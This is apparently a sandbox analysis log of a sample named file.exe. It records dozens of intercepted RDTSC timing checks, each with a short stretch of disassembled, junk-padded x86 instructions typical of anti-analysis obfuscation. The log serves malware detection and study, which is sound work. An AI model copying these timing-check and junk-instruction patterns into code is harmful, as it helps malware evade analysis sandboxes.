Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D109 second address: 77D14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7AFh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jmp 00007F0734D2B7ADh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F0734D2B7A6h 0x0000001c jmp 00007F0734D2B7B7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D14E second address: 77D152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CF3F second address: 77CF50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0734D2B7A6h 0x00000009 jnp 00007F0734D2B7A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CF50 second address: 77CF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F0734C6ABE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CF5D second address: 77CF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B0h 0x00000007 jmp 00007F0734D2B7AFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CF86 second address: 77CFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0734C6ABE6h 0x0000000a pop ebx 0x0000000b jmp 00007F0734C6ABF9h 0x00000010 jmp 00007F0734C6ABF0h 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839B8 second address: 7839BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839BE second address: 7839C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839C4 second address: 7839CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7839CA second address: 7839CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783B15 second address: 783B24 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783B24 second address: 783B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABF6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784229 second address: 784234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784234 second address: 78423C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78423C second address: 784246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0734D2B7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784246 second address: 784256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F0734C6ABE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784256 second address: 78425A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788370 second address: 788380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788380 second address: 788394 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F0734D2B7AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7884F4 second address: 78850D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jmp 00007F0734C6ABEDh 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78850D second address: 788513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7994CA second address: 7994E1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0734C6ABECh 0x00000008 jnc 00007F0734C6ABE6h 0x0000000e pushad 0x0000000f jnl 00007F0734C6ABE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7994E1 second address: 7994E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7994E7 second address: 7994FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a js 00007F0734C6ABE6h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7994FB second address: 799518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C651 second address: 79C67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABF6h 0x00000009 pop ebx 0x0000000a jno 00007F0734C6ABEEh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C4D6 second address: 79C4FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F0734D2B7A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA395 second address: 7AA3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0734C6ABE6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F0734C6ABF6h 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F0734C6ABE6h 0x0000001d popad 0x0000001e push esi 0x0000001f push esi 0x00000020 pop esi 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA3CA second address: 7AA3CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA08F second address: 7AA09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F0734C6ABE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA09B second address: 7AA09F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2DB3 second address: 7C2DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2DBB second address: 7C2DD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2DD5 second address: 7C2DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1C6B second address: 7C1C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0734D2B7A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1C77 second address: 7C1C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F0734C6ABE6h 0x0000000d jns 00007F0734C6ABE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1C8A second address: 7C1C9E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0734D2B7A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F0734D2B7A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DCF second address: 7C1DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DD9 second address: 7C1DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DE8 second address: 7C1DEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DEC second address: 7C1DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F0734D2B7A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F48 second address: 7C1F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F4C second address: 7C1F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0734D2B7B3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1F69 second address: 7C1F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C257B second address: 7C2584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2ACE second address: 7C2AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2AD4 second address: 7C2AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B8h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5905 second address: 7C5913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jp 00007F0734C6ABE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5913 second address: 7C593D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0734D2B7A6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c jo 00007F0734D2B7C4h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0734D2B7B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8504 second address: 7C8508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8883 second address: 7C8888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C8888 second address: 7C88C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnc 00007F0734C6ABFFh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0734C6ABEEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C88C9 second address: 7C88CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C88CF second address: 7C88D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C88D5 second address: 7C88D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9CFE second address: 7C9D04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9D04 second address: 7C9D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0734D2B7AEh 0x0000000b jmp 00007F0734D2B7B8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0734D2B7B6h 0x00000018 pushad 0x00000019 ja 00007F0734D2B7A6h 0x0000001f push edi 0x00000020 pop edi 0x00000021 jp 00007F0734D2B7A6h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693447 second address: 69344C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF81F second address: 6DF823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF823 second address: 6DF827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80304 second address: 4C80314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734D2B7ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80314 second address: 4C80318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80318 second address: 4C80349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F0734D2B7ACh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0734D2B7B7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04AE second address: 4CB04B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04B4 second address: 4CB04B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04B8 second address: 4CB04D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F0734C6ABECh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04D6 second address: 4CB04DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04DA second address: 4CB04E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04E0 second address: 4CB056C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 15DF5661h 0x00000008 call 00007F0734D2B7AEh 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F0734D2B7B7h 0x0000001a jmp 00007F0734D2B7B3h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F0734D2B7B8h 0x00000026 sub ax, 95B8h 0x0000002b jmp 00007F0734D2B7ABh 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F0734D2B7B5h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB056C second address: 4CB05AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0734C6ABEBh 0x00000013 add esi, 4BFAF4DEh 0x00000019 jmp 00007F0734C6ABF9h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB05AD second address: 4CB05B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB05B3 second address: 4CB05B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB05B9 second address: 4CB05EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F0734D2B7B8h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0734D2B7AEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB05EB second address: 4CB0651 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0734C6ABF1h 0x00000009 adc si, 05D6h 0x0000000e jmp 00007F0734C6ABF1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F0734C6ABF0h 0x0000001a xor si, 43F8h 0x0000001f jmp 00007F0734C6ABEBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F0734C6ABF0h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0651 second address: 4CB0660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0660 second address: 4CB0673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0673 second address: 4CB0677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0677 second address: 4CB067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB067D second address: 4CB06B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov si, 050Bh 0x0000000f mov edx, esi 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 mov eax, ebx 0x00000016 pushad 0x00000017 movsx edx, cx 0x0000001a popad 0x0000001b popad 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F0734D2B7B5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB06B9 second address: 4CB06CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB06CE second address: 4CB06D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB06D4 second address: 4CB06D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB06D8 second address: 4CB06DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA002A second address: 4CA007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0734C6ABF2h 0x00000009 add eax, 0C7EEE58h 0x0000000f jmp 00007F0734C6ABEBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov dx, ax 0x0000001f pushfd 0x00000020 jmp 00007F0734C6ABEEh 0x00000025 sbb esi, 369078B8h 0x0000002b jmp 00007F0734C6ABEBh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA007E second address: 4CA0096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734D2B7B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0096 second address: 4CA00E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F0734C6ABEBh 0x00000015 adc ax, AFDEh 0x0000001a jmp 00007F0734C6ABF9h 0x0000001f popfd 0x00000020 jmp 00007F0734C6ABF0h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA00E7 second address: 4CA0122 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F0734D2B7ADh 0x0000000b jmp 00007F0734D2B7ABh 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0734D2B7B5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0122 second address: 4CA0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
